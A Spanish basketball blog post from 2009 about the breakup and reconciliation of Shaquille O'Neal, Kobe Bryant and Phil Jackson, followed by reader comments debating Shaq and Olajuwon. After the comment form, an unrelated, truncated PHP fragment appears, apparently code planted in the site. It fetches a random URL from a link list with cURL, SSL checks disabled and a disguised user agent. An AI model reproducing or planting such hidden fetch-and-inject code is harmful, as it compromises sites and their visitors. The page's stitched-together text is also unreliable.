París

16 de February de 2009 por MagicJohnson32

SIitsoverQue hay parejas imposibles es algo que ya nos habían enseñado Rick Blaine e Ilsa Lund. En estos casos, lo único que necesitamos para apreciar lo vivido es tiempo. Pero es falso que el tiempo lo cure todo. El tiempo no cura nada, sino que nos hace observar los hechos pasados con una perspectiva completamente diferente a aquella tan distorsionada a la que la inmediatez nos fuerza. Con frecuencia, la nueva perspectiva nos permite entender que, en realidad, no había heridas que curar. Nos enseña que lo ocurrido era inevitable y que sólo nos queda disfrutar de lo buenos recuerdos. Nos queda París.

El All-Star Game de anoche nos ofreció una ocasión inmejorable para ejercitar nuestra memoria y llevar a cabo una revisión de los hechos: Shaquille O’Neal, Kobe Bryant y Phil Jackson compartieron equipo entre junio de 1999, cuando el técnico salió de su retiro post Bulls para ponerse al frente de los Lakers, y junio de 2004, cuando Shaq fue traspasado a los Heat y Jackson dejó el cargo. Entre una y otra fecha los Lakers ganaron tres anillos consecutivos (2000-2002), disputaron unas Finales (2004) y unas Finales de Conferencia (2003) y devolvieron la ciudad de Los Angeles al centro de gravedad del universo deportivo.

El final de aquella memorable época fue turbulento, aunque no mucho más de lo que habían resultado las temporadas anteriores. La derrota por 4-1 ante los Pistons no contribuyó a suavizar la inevitable transición que la franquicia hubo de afrontar a continuación. Kobe Bryant, que estaba cerca de cumplir 26 años, podía ejercer su opción contractual para convertirse en agente libre; Shaquille O’Neal, quien por entonces ya contaba con 32 años, reclamaba una extensión de su contrato (del que aún le restaban dos temporadas por cumplir) por 100 millones de dólares. Y, dado que hacía dos años que la fórmula Kobe + Shaq no daba como resultado el Anillo, Jerry Buss decidió elegir. Y eligió a Bryant.

philbusswestkobe

Buss, un propietario existoso y ejemplar en muchos aspectos pero tan egocéntrico o más que sus superestrellas, no había perdonado la salida de tono de O’Neal meses atrás, en octubre, durante el training camp (el famoso “pay me!”). Paralelamente, los rumores de diferencias entre los jugadores fueron incesantes aquella temporada, como lo habían sido en campañas previas. Pero fue el GM Kupchak, a quien O’Neal había criticado muy duramente a mediados de temporada por “no hacer su trabajo“, quien prendió la mecha al dar voz a los designios de Buss y anunciar que la franquicia iba a priorizar la renovación de Bryant y a escuchar ofertas por O’Neal. La Dinastía se derrumbó en cuestión de horas: la desvinculación de Phil Jackson,  la salida al mercado de agentes libres por parte de Bryant y la demanda de traspaso de Shaquille  -alegando que no le gustaba la dirección de la franquicia- cayeron como fichas de dominó.

shaqkobeblazers7

La gerencia de los Lakers cometió errores, sin duda. Podríamos empezar por la marcha de Jerry West -responsable de las adquisiciones de O’Neal y Bryant- debido a las diferencias con Phil Jackson que tan bien reflejó Roland Lazenby en su libro “The Show”; derivado de lo anterior, el siguiente error fue la progresiva e incesante pérdida de potencial de una plantilla que pese a los títulos sólo dio pasos atrás en cuanto a competitividad; por supuesto, nadie supo gestionar la lucha de egos, entre los cuales no sólo se incluyen los de Kobe y Shaq, sino también los de Jackson y Buss; y por último, se cometió un enorme error en el adiós de Shaquille O’Neal.

El error, sin embargo, no estuvo en su marcha. No pudo ser un error, o al menos es discutible que lo fuese, cuando sólo cuatro años después de aquello los Lakers regresaron a las Finales y se encuentran ahora al frente de la liga con una plantilla con tanto talento y mucha más juventud que aquella de 2004. El error estuvo en las formas: hacer público y notorio que la franquicia quería traspasar a O’Neal y que el propio jugador quería ser traspasado fue, en primer lugar, una manera indigna de cerrar una etapa gloriosa para los Lakers. En pocas palabras: Shaq merecía algo mejor. Pero, además, esto llevó a que ningún equipo en toda la liga ofreciese a su mejor jugador a cambio del entonces considerado como más dominante del mundo. Mark Cuban jamás incluyó a Nowitzki en sus ofertas; Pat Riley no incluyó a Wade; y así, con los GM’s de los 27 equipos restantes.

shaqblockobeEl traspaso, finalmente, sólo había de cumplir unas sencillas condiciones. Los Lakers querían a O’Neal en la Conferencia Este. Y O’Neal quería ir a un equipo competitivo de una ciudad con clima cálido. Así que Miami, que cumplía con dichas exigencias, se llevó el premio a cambio de Odom, Butler, Brian Grant y una primera ronda.

Lo que sucedió en las temporadas siguientes es bien sabido por todos: los Heat ganaron el Anillo, el cuarto de O’Neal; los Lakers sufrieron una de las temporadas más catastróficas de su historia; Phil Jackson, mientras tanto, se apresuraba a publicar su “The Last Season”; entre los dos jugadores se inició una guerra fría con una escenificación casi teatral. Y en en cuanto a teatralidad, nadie supera a O’Neal: previamente al primer enfrentamiento entre ambos, el Heat @ Lakers del día de Navidad del 2004, Shaq comparó a Kobe con un Corvette, “y cuando un Corvette va contra un muro de ladrillo, ya sabes qué pasará”; tras el segundo Lakers-Heat, y preguntado acerca de qué se habían dicho durante el partido, O’Neal señaló: “No había nada que decir. Soy un hombre casado; no necesito una relación con otro hombre”. Y todo ello lo hizo sin pronunciar el nombre de Kobe Bryant en una sola ocasión durante varios meses. El pívot disparó también contra Jackson, del que llegó a insinuar que había “diseñado” parte del conflicto entre él y Bryant.

kobeshaqAquello se prolongó hasta el Día de Martin Luther King de 2006. Como toda buena película hollywoodiense, el giro argumental fue melodramático. Mientras Kobe hacía estiramientos en los prolegómenos del partido que iba a enfrentar a Lakers y Heat, O’Neal se aproximó y le tendió la mano. Bryant, sorprendido, le devolvió el gesto. Se había firmado la paz. Los jugadores se abrazaron justo antes del salto inicial y también a la finalización del partido. Al parecer, según explicó Shaquille posteriormente, su cambio de actitud se había debido a una inspiradora conversación con Bill Russell en la que el mítico Celtic (que a partir de ahora dará nombre al premio al MVP de las Finales) explicó a O’Neal que él había mantenido siempre una relación de amistad con Wilt Chamberlain, su gran rival en las canchas.

Desde entonces, el discurso del jugador de los Suns ha ido variando con casi entrevista, siempre en la misma dirección. Primero reconoció que su marcha de los Lakers se debió exclusivamente a motivos shaqkobemvpeconómicos. Recientemente explicó que sus enfrentamientos con Bryant y Jackson fueron puro “marketing”, y calificó a Kobe como “un monstruo, el mejor jugador del mundo” y a Jackson como “el mejor entrenador de la historia”.

Ayer, anoche, el All-Star Game dio a la historia una ocasión única para redimirse. Las posibilidades de que la relación deportiva entre Shaq y Kobe (y Jackson) acabase de manera positiva eran remotas. El último partido que habían disputado juntos hasta ayer era el quinto de las Finales de 2004. Desde entonces, poco más que miserias en forma de acusaciones encubiertas o ataques rimados. Pero la historia, a veces, tiene estas cosas. Un MVP compartido y, ahora sí, un final digno.

Anoche la mejor pareja imposible de la historia pudo decirse aquello de “Siempre nos quedará París”.

Comenta

44 comentarios a esta entrada

  1. Drheam dice:
    #1

    Enhorabuena por el artículo!!!!

      Citar

  2. Txusma dice:
    #2

    Mmm… cualquiera diría que Kobe fue un santo en toda esta historia.

      Citar

  3. Gallis dice:
    #3

    Algún día la gente entenderá que en esta historia no hay santos ni demonios, y creo que el artículo lo clarifica a las mil maravillas. Todos hicieron lo que creyeron mejor para ellos y, tal y como muchos pensabamos (y nos cansamos de defender en su momento), el tiempo les ha dado la razón a todos…hubo demasiado ruido alrededor de todo esto, pero con el tiempo llega el silencio y las cosas son como son….

      Citar

  4. Gallis dice:
    #4

    Por cierto, socio, brillante 🙂

      Citar

  5. Wookie dice:
    #5

    Grande el articulo, muy grande! me habeis hecho aficionar al blog!

      Citar

  6. TheDeerHunter dice:
    #6

    Lo cierto es que la historia es legendaria… y preciosa en su conclusión. Pero en ciertos momentos ha tocado puntos de bajeza muy importantes.
    Dice Gallis que cada uno defendió sus intereses. Eso es cierto, por supuesto, sus intereses individuales directos (léase ingresos vía cuenta corriente y egolatrismo)
    ¿Qué hubiera supuesto que la ambición de cada uno se hubiera puesto al servicio del grupo?? Pues que es bastante posible que ambos hubieran ganado 2 o 3 anillos más y que hubieran trascendido mucho más en la historia de lo que lo hicieron…desde ese punto de vista me parece que no defendieron demasiado hábilmente sus intereses…

    Sobre este tema… recomiendo encarecidamente la peli “Un domingo cualquiera” de Oliver Stone. No es que sea una obra de arte pero toca puntos de la parte oscura de la competición de élite de lo más interesantes.
    Sobre todo la dualidad ego/pastiza que tanto tienen que ver en esta historia.

      Citar

  7. Viva_Dirk dice:
    #7

    Bueno Deer, yo creo que no habrian tenido 2 o 3 anillos mas de ninguna manera. Podrian haber tenido uno mas si Malone no se hubiese lesionado para las finales de 2004, una vez lesionado Malone, la cosa estaba muy igualada y los Pistons fueron mucho mas grupo, con un Kobe fallón en ataque y Shaq poniendo un tapón en 5 partidos.

    Ajeno a ellos, desde los despachos solo hicieron debilitar el equipo año tras año pensando que con Shaq+Kobe sería bastante y no lo fue. Si crees que después de aquella temporada se podía seguir con la pareja….es simplemente falso, por varios motivos:

    – Shaq quería una extensión por el máximo, a sus 32 años quería cobrar mas de 30 millones cuando tuviese 36, eso no entraba en los planes de nadie de los Lakers.

    – Kobe salía al mercado y en caso de quedarse Shaq y no poder fichar a nadie mas el equipo iba a ser peor que el año anterior, asi que Kobe habria volado.

    Dejando a un lado el tema de la polémica, hay que ver como nos lo pasamos con estos tios y sus secuaces, vaya recuerdos.

      Citar

  8. Viva_Dirk dice:
    #8

    Se me olvidaba, Deer, es verdad que ‘Un domingo cualquiera’ no es una obra maestra, si no que es una POM que lo llamamos unos colegas y yo, traducido es una ‘Puta Obra Maestra’.

    Casi nada Pacino y Foxx.

      Citar

  9. TheDeerHunter dice:
    #9

    Ese Pacino no fue precísamente el Pacino del Padrino… más bien sobreactuado e inverosímil. Foxx me gustó más por aquello de la frescura y del papel pero tampoco es el de Collateral… Pero en fin, desde luego no te voy a discutir que la peli mola (y como video clip igual mola más y todo)

    Cuando hablaba de intereses individuales, no hablaba exclusivamente del conflicto personal entre Kobe y Shaq… hablaba por ejemplo de lo que tú mencionas, de los 30 kilakos de Shaq (sin contar los que pesaba él por aquel entonces) que dejaban al equipo tiritando. Mi premisa es que de haber “renunciado” ambos a parte de sus ambiciones (muchas de ellas completamente injustificadas como tú ya anticipas) y siendo ambos un poquito más serios, creo que sí hubieran logrado QUIZÁS 2 o 3 anillos más. Sin contar la catástrofe contra los Pistons con Malone y Horacio lesionados y Payton dondenaricesfuesequeestaba.
    Está claro que los dos sueldacos limitaban el equipo, pero también lo limitafonn según qué tipo de comportamientos. Nunca sabremos lo que hubiera pasado si ambos hubieran tenido mayor sentido colectivo.

    Si te he de ser sincero. Me gustó bastante poco el juego de L.A. durante aquellos años… los recuerdos positivos vienen exclusivamente por ramalazos de superioridad, que aquello era acojonante… y también por algún que otro golpe de buena suerte.

      Citar

  10. toni dice:
    #10

    Que gran artículo, en que equipo diriais que encajaría o’neal, lo veo desaprovechado en phoenix, debería volver a luchar por los puestos de arriba.
    Decid equipos donde podriamos ver a shaq luchando en unas finales de playoff.

    Gracias.

      Citar

  11. MagicJohnson32 dice:
    #11

    Gracias Toni. Precisamente hoy se comenta que a Shaq le gustaría ir a NY, aunque no es ésa precisamente la idea que tengo yo de mejorar, vaya. Los Knicks no perderían mucho porque Shaq acaba contrato el famoso verano de 2010.

    Ni Cleveland, ni Boston, ni SA ni LAL pueden encajar un contrato como el de Shaq, así que olvidémonos de volver a verlo en unas Finales, creo yo. Aunque bueno, si en 2010 acepta el salario mínimo a mí no me importaría que fuese el suplente de Bynum, jeje.

      Citar

  12. Viva_Dirk dice:
    #12

    El único equipo fuerte que podria hacerse con Shaq son los Hornets, metiendo a Chandler y Antonio Daniels. Desde luego les daría un plus de anotación cerca del aro que no tienen ahora.

      Citar

  13. Fran Reyes dice:
    #13

    Excepcional artículo, de verdad, es tremendo! Qué repunte de calidad está teniendo el blog!!

    Respecto al tema deportivo, creo que un contrato como el de O’Neal no encaja en ninguna franquicia competitiva si Shaq está físicamente justo, tal y como parece o parecía hace poco. Aunque conociendo al 32… a lo mejor nos da un sorpresón y encamina a un equipo hacia, qué sé yo, unas finales de conferencia.

      Citar

  14. Viru dice:
    #14

    Me he metido a ver si habíais algo, ya que ayer no hubo jornada… y me encuentro con esto. Estupendo texto, gracias por el trabajo.

      Citar

  15. aro_pasado_no_newtoniano dice:
    #15

    Pues a mí, la tercera parte de “El Padrino” me pareció muy buena también, sin desmerecer en absoluto el hecho de ser compañera de las otras dos. Todo eso lo digo, pese a decirlo, sin leer a Kierkegaard.

      Citar

  16. aro_pasado_no_newtoniano dice:
    #16

    Gran artículo. Como nunca me hizo mucha gracia O´neall (en el plano deportivo, en el personal, parece un tio gracioso), siempre nos quedará Olajuwon.

      Citar

  17. TheDeerHunter dice:
    #17

    Entonces, ¿cual es el ideal de pívot… más tirando a Olajuwon o más tirando a Shaquille??

    Entiendo entonces, que si no te hace gracia Shaquille, tampoco te deberían hacer gracia Russell, Chamberlain o Walton, por decir algunos nombres…

      Citar

  18. Elio dice:
    #18

    Muy bien artículo, genial!

      Citar

  19. Viva_Dirk dice:
    #19

    Bueno Deer, que no te haga mucha gracia un jugador puede ser por muchos motivos, si a Mestre le molaban los Kings(que le molaban) es normal que no le hiciese gracia Shaq.

    El ideal de pivot siempre depende de lo que le rodee, pero no recuerdo ninguna cosa que Shaq pudiese hacer dentro de una cancha que no pudiese hacer Olajuwon, salvo cargarse una canasta, jojo.

    Y Walton no creo que pueda incluirse en ese grupo que nombras, Moses Malone si encaja ahí.

      Citar

  20. MagicJohnson32 dice:
    #20

    Vendría a ser el grupo de las “Bestias pardas” ¿no? El de Dwight, sin ir más lejos.
    Jeje, sí Mo Malone era un bicho de cuidado. Aunque tampoco le encajaría ni a él ni a Russell en el perfil de Wilt y Shaq.

    Ah, y la tercera parte de El Padrino no le llega a sus antecesoras ni a un metro por debajo de las suelas de los zapatos. Conste en acta.

      Citar

  21. TheDeerHunter dice:
    #21

    Viva… a mí Olajuwon me encanta, jamás diría algo en su contra.
    Pero te equivocas. Evidentemente Shaquille era capaz de hacer muchísimas cosas que ni de coña hubiera podido hacer Olajuwon además de cargarse una canasta.
    Olajuwon también era capaz de hacer algunas cosas que Shaq jamás hubiera podido hacer, pero como pívot y teniendo en cuenta las características de su posición, nadie se ha acercado más al prototipo que Shaq nunca.
    Ahora, si crees que un pívot, para cumplir con su trabajo, debería de saber tirar más allá de los 4 metros pues bien…

    Con esto, insisto, no estoy diciendo nada malo de Olajuwon, que fue increíblemente grande.

      Citar

  22. Viva_Dirk dice:
    #22

    Me gustaría saber que cosas hacía Shaq que no hacía Olajuwon, y ojo que ya sabes que en otro lares mi nombre es Viva_Shaq, jeje.

    Desde luego que estoy convencido de que un pivot debe saber tirar de mas de 4 metros, las ventajas de hacerlo son evidentes y los inconvenientes ninguno. Está el hecho de los tiros libres que también es infinitamente favorable a Hakeem.

    Y por último no entiendo eso del ‘prototipo’ ya que Olajuwon era igual de reboteador y mejor taponador que Shaq, que son dos cosas a tener el cuenta en eso que dices del prototipo.

      Citar

  23. aro_pasado_no_newtoniano dice:
    #23

    Pues sí, el tema iba por lo de bestías pardas, y que Olajuwon jugó al máximo nivel delante de un jovencisimo O´neall (que en áquel momento es probable que fuera más bestia parda que en los Lakers). La cosa va es un tema de gustos, aunque a O´neall se le tienen que reconocer cosas, ya que es uno de los grandes.

    La tercera del Padrino, baja un poco, sí, o mucho según se vea y me parece respetable y entendible, pero la trama de la empresa inmobiliaria del Vaticano, me parece cojonuda.

      Citar

  24. TheDeerHunter dice:
    #24

    Sólo decir que Shaq era muchísimo más pesado que Olajuwon y se movía a la misma velocidad que éste… o quizás más rápido.
    A Shaq no le he visto hacer una puñetera finta ni una vez en su vida. Ni falta que le hacía. Olajuwon, con todo lo bueno que era… su juego eran las fintas.
    Siempre he pensado que un Center jugando alejado del aro les quita espacios a TODOS los demás. Un center bien metido en su sitio y amenazando peligro genera mucho más juego colectivo que uno que tire… y además, al contrario de lo que muchos creen Shaq ha sido/es un pívot pasador de primera índole.
    Por último, Olajuwon necesitaba absorver mucho más la bola para su juego ofensivo. Shaq directamente era imparable y en muchísimas ocasiones a un toque de bola.

    No sé… eso es todo lo que se me ocurre así, a botepronto. Seguramente se me ocurrirían más cosas si reflexiono un poco.
    Lo más importante es que se me antoja que Shaq era mucho más determinante cerca del aro que Olajuwon… lo más importante para un pívot puro. De hecho, no ha habido nadie tan determinante como él desde Chamberlain… y ahí están los números y los enfrentamientos entre uno y otro.
    Si Shaq no se hubiera dejado llevar tanto en L.A. (y ahí están las pruebas) no me cabe duda que hubiera ganado, como mínimo, 5-6 anillos.
    Menuda mala bestia…

      Citar

  25. TheDeerHunter dice:
    #25

    Aro_pasado se me ha adelantado en la contestación…
    en efecto… de bestias pardas hablamos, para mí la virtud más importante en un pívot.

    Eso sí, también reconozco las grandes excepciones. Russell, Olajuwon… Robinson un poco menos.

    Exáctamente ¿qué era Ewing??

      Citar

  26. TheDeerHunter dice:
    #26

    Por cierto, cuando hablaba de que Shaq es el más determinante desde Chamberlain no he tenía en cuenta a Kareem… que es la excepción más clara a todo lo que yo hablo.

      Citar

  27. Viva_Dirk dice:
    #27

    Bueno, como te he dicho en la primera contestación no entiendo la manía de que tenga que haber un prototipo. Olajuwon al poste bajo era imparable y cerca de la canasta causaba autentico pánico, quizá recordamos mas sus últimos años pero también es una bestia. Lo que pasa es que además de eso tenia muy buena mano y además de arrasar directamente tenia unos tremendos movimientos al poste. Y si sigues empeñado en que ahí están los números, ellos te quitan la razón ya te lo aviso.

    Los enfrentamientos entre Olajuwon y Shaq ahí están como tu dices, y no creo que O’Neal guarde muy buenos recuerdos de ellos.

    Un center que sabe tirar de 5 metros no le quita espacio a nadie ya que es un recurso mas a utilizar, y depende de quien lo rodee, si tienes de 4 a Nowitzki te vendrá mejor un Shaq, pero si tienes a Duncan, necesitas que Robinson anote de 5 metros.

    Para acabar, lo de determinante supongo que lo demostraras con títulos, finales, finales de conferencia o lo que sea. Lo digo porque con Shaq siempre se habló del mas determinante, y resulta que a Duncan le cambian todo el equipo y vuelve a ganar.

      Citar

  28. TheDeerHunter dice:
    #28

    Hablemos de recuerdos… el año de Rookie de O’neal, precísamente el de más explendor de Olajuwon cuando obtuvo dos anillos. El primer recuerdo que tengo del enfrentamiento entre ambos fue aquel all-star, en el que Olajuwon, Robinson, Kemp y no recuerdo si era Barkley se confabularon precísamente para amargarle la noche al novato. Entre los cuatro lo lograron, cómo no… pero Shaq le cascó un mate a Olajuwon en sus morros que casi lo mete a él en la canasta junto al balón.
    Después sí, la primera final la perdió Shaq en su año de rookie, con una defensa que diseñó Tomjanovic que daba miedo y un Shaq con poquitos recursos en ataque todavía, pero poco más se puede decir de sus enfrentamientos si es que podemos decir que realmente los hubo. Tras esa final directamente Shaq se lo comía cada vez que lo veía. Sólo recuerdo a Olajuwon soportando con todas sus fuerzas el peso muerto de Shaq al poste y cuando se quería dar cuenta lo tenía machacándole a sus espaldas. Lo siento… pero no había color en ese “enfrentamiento”.

    De números… no te entiendo. 4 anillos frente a 2, 6 finales frente a 2… y las estadísticas, Shaq significativamente superior en todo excepto en tapones. ¿qué número exáctamente me quita la razón?? no lo veo, en serio que no.

    De Duncan ¿qué voy a decir?? que con todo lo bueno que es, será él y siempre él el que no guardará buenos recuerdos de sus enfrentamientos con Shaq, que tú me dirás cómo se han saldado. Por suerte para Duncan, apenas nunca le tocó a él directamente defender al perro grande y sí a varios de sus escuderos.
    Dices que le cambiaron al equipo y siguió ganando. No veo qué quejas puede tener nadie de tener a Parker, Ginobili y otros importantes miembros. De equipo Duncan no creo que haya podido quejarse nunca. Sin embargo Shaq sí ha llegado a hacer campeón a dos equipos completamente distintos y a otro más subcampeón.
    Y no hablaré de las defensas criminales que le han llegado a hacer con el beneplácito de todo el estamento arbitral. Con la excusa de lo grande que era…

    Por último, por supuesto que hay prototipos… las definiciones de las características generales y su función para cada posición están definidas, como mucho con matices y aplicadas a cada mentalidad. Otra cosa es que hay jugadores tan grandes que trascienden a todo eso, pero ese es otro cantar.

      Citar

  29. Viva_Dirk dice:
    #29

    Pues yo si recuerdo a Shaq saltando hasta 3 veces a las fintas de Olajuwon en aquellas finales, buscandolo con la mirada y no encontrandolo nunca.

    En cuanto a los números 25-11.5-2.7 y 2.4 tapones de Shaq. Olajuwon 21.8-1.1-2.5 y 3.1 tapones, no se donde ves ese clarísimo dominio. En temas de finales y tal, no diré nada de Jordan o los Jazzs porque resulta evidente.

    Y de Duncan, si estás comparando a Manu o Parker con Kobe o Wade solo tienes que decirlo y se acaba la discusión. Para mi San Antonio ningun año de los que ha ganado ha tenido la mejor plantilla, otra cosa es que fuesen un conjuto durísimo y que desde luego tuviese a Duncan.

    Claro que hay prototipos, pero que alguien siga mas o menos los prototipos no le hace mejor ni peor, ni le hace mejor pivot puro, porque Olajuwon no es otra cosa que un center.

      Citar

  30. TheDeerHunter dice:
    #30

    pero que Kobe o Wade producen cada uno más que Manu y Parker juntos??? pues ahora me entero.

    dejando a Duncan de lado, (que no entiendo ni cómo ha entrado en este debate) hubo alguien que definió a Olajuwon algo así como “un base en el cuerpo de un pívot”.
    Vaya, que no soy yo sólo quien lo considera como algo alejado del paradigma de su posición real.

      Citar

  31. Olafur dice:
    #31

    Hombre la verdad es que Olajuwon en los anillos no es que estuviera muy rodeado de cracks que digamos, aunque en el 2º estaba Drexler abuelete

      Citar

  32. MagicJohnson32 dice:
    #32

    Y Olajuwon era un defensor sensacional, bastante mejor que Shaq.

      Citar

  33. Viva_Dirk dice:
    #33

    Es que has dicho que Shaq tuvo que ‘hacer a dos equipos campeones’, y resulta que Shaq ya estaba en los Lakers anteriores a conseguir los títulos. Eso no quiere decir que no fuese la pieza mas importante para conseguirlos, que para mi lo fue sin duda, pero podemos comparar con las plantillas que tenia Olajuwon.

    En el primer anillo de Olajuwon, NINGUNO de sus compañero alcazó los 15 puntos por partido durante la regular season, el quinteto era Kenny Smith-Maxwell-Horry-Thorpe-Olajuwon, mucho cuidao Horry jugando de 3 y que el base titular diese 4 asistencias por encuentro, casi las misma que Hakeem.

    Shaq sin embargo solo tenia a Kobe haciendo 22-6-5, y a Rice con 16 por noche. Andaba Harper por allí que todos sabemos el tipo de jugador que era. Vamos estoy seguro de que no necesitas que te recuerden a aquellos Lakers, eran un autentico equipazo y con Kobe, Horry, etc resolviendo situaciones límite en play-offs, que no tenia que resolver ni de lejos Shaq.

    Lo del anillo de Miami es demasiado fresco, la actuación de Wade en las finales fue digna de Michael Jordan, el fue el que hizo campeones a esos Heat, entre el y Riley.

    Esta el hecho que dice Magic de que el de los Rockets era mejor defensor cerca del aro de lo que era Shaq, algo también implicito en las ‘malas bestias’. Olajuwon podia hacer todas las cosas propias de un center, que tuviese mas recursos no lo aleja de nada, simplemente le hace mejor.

    Si digo que Kobe+Rice o Wade+Zo(Walker) son mas que Manu+Parker.

      Citar

  34. Jabho dice:
    #34

    Gran artículo Magic.

    Hasta yo disfruté un poco de aquellos Lakers. También de su final. Y queda París, que no es moco de pavo. ¿Pudo ser mas? bueno, puede, pero fue mucho y eso no hay que olvidarlo…

    Sobre el debate Olajuwon y Shaq creo que ambos han sido muy grandes. De los mas grandes. Pero si me quedo con la sensación de que Olajuwon llegó hasta donde podía y que Shaq tenía condiciones para haber llegado un poco más alto de donde llegó, para haber marcado más la historia de la liga… No sé, como que en ciertos momentos se “relajó”

      Citar

  35. MagicJohnson32 dice:
    #35

    Shaq se “relajó” cuando ganó un anillo. A partir de las Finales de 2000, efectivamente, dejó de dar todo lo que podía.

      Citar

  36. Elio dice:
    #36

    Enlazo el artículo en NBAMANIACS. Es bastante bueno y merece aún más lecturas 😉

      Citar

  37. Curiosidades y reflexiones tras el All-star 2009 | NBAmaniacs dice:
    #37
  38. Txusma dice:
    #38

    1000 gracias Elio. Al final entre unos y otros vamos construyendo una red interesante.
    Por cierto, tienes todo mi reconocimiento por tener ese pedazo de blog que es NBAManiacs y encima por llevarlo solo. ¿Como aguantas?

      Citar

  39. Elio dice:
    #39

    Gracias, Txusma. No había visto tu respuesta. Pues ya ves, lo llevo con mucha pasión y orgullo, mezcla dos de las cosas que más me gustan y mejor conozco: Internet y la NBA 😉

      Citar

  40. Elio Martínez dice:
    #40

    Casi dos años después, vuelvo a enlazar este artículo en http://www.nbamaniacs.com/kobe-gasol-su-relacion-actual/ ya que me he acordado de él por una petición de un lector 😉

      Citar

  41. MagicJohnson32 dice:
    #41

    Jeje, justo el otro día, cuando Shaq jugó con los Celtics en el Staples, me acordé de este artículo. Gracias Elio, y de nuevo felicidades por el trabajo que haces en http://www.nbamaniacs.com

      Citar

  42. MagicJohnson32 dice:
    #42

    Buen día para recuperar este artículo. La retirada del dorsal 34 de los Lakers era una vieja deuda.

    Grande Shaq.

      Citar

  43. rumbero dice:
    #43

    Muy bueno Magic. Felicidades 4 años después. Con la perspectiva que da el tiempo estaba claro que se tenía que hacer “justicia” con Shaq. Muy interesante también el debate Olajuwon-O’neal que se formó al respecto. Dificiles de comparar pero geniales ambos.
    Y me ha hecho gracia la referencia a “Un domingo cualquiera”. Tenía un entrenador que a la que nos jugábamos algo importante nos metía la famosa secuencia de “pulgada a pulgada” para motivarnos. Yo creo que perdíamos igual o más veces pero debe ser uno de los trozos cinematográficos que mas he visto en mi vida xD

      Citar

  44. MagicJohnson32 dice:
    #44

    rumbero:
    Muy bueno Magic. Felicidades 4 años después….

    Thanks 😉

    Por cierto, metida de pata en la retirada de la camiseta: la que se colgó está del revés. Es decir, pusieron el nombre (O’Neal) en la parte delantera de la camiseta.

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>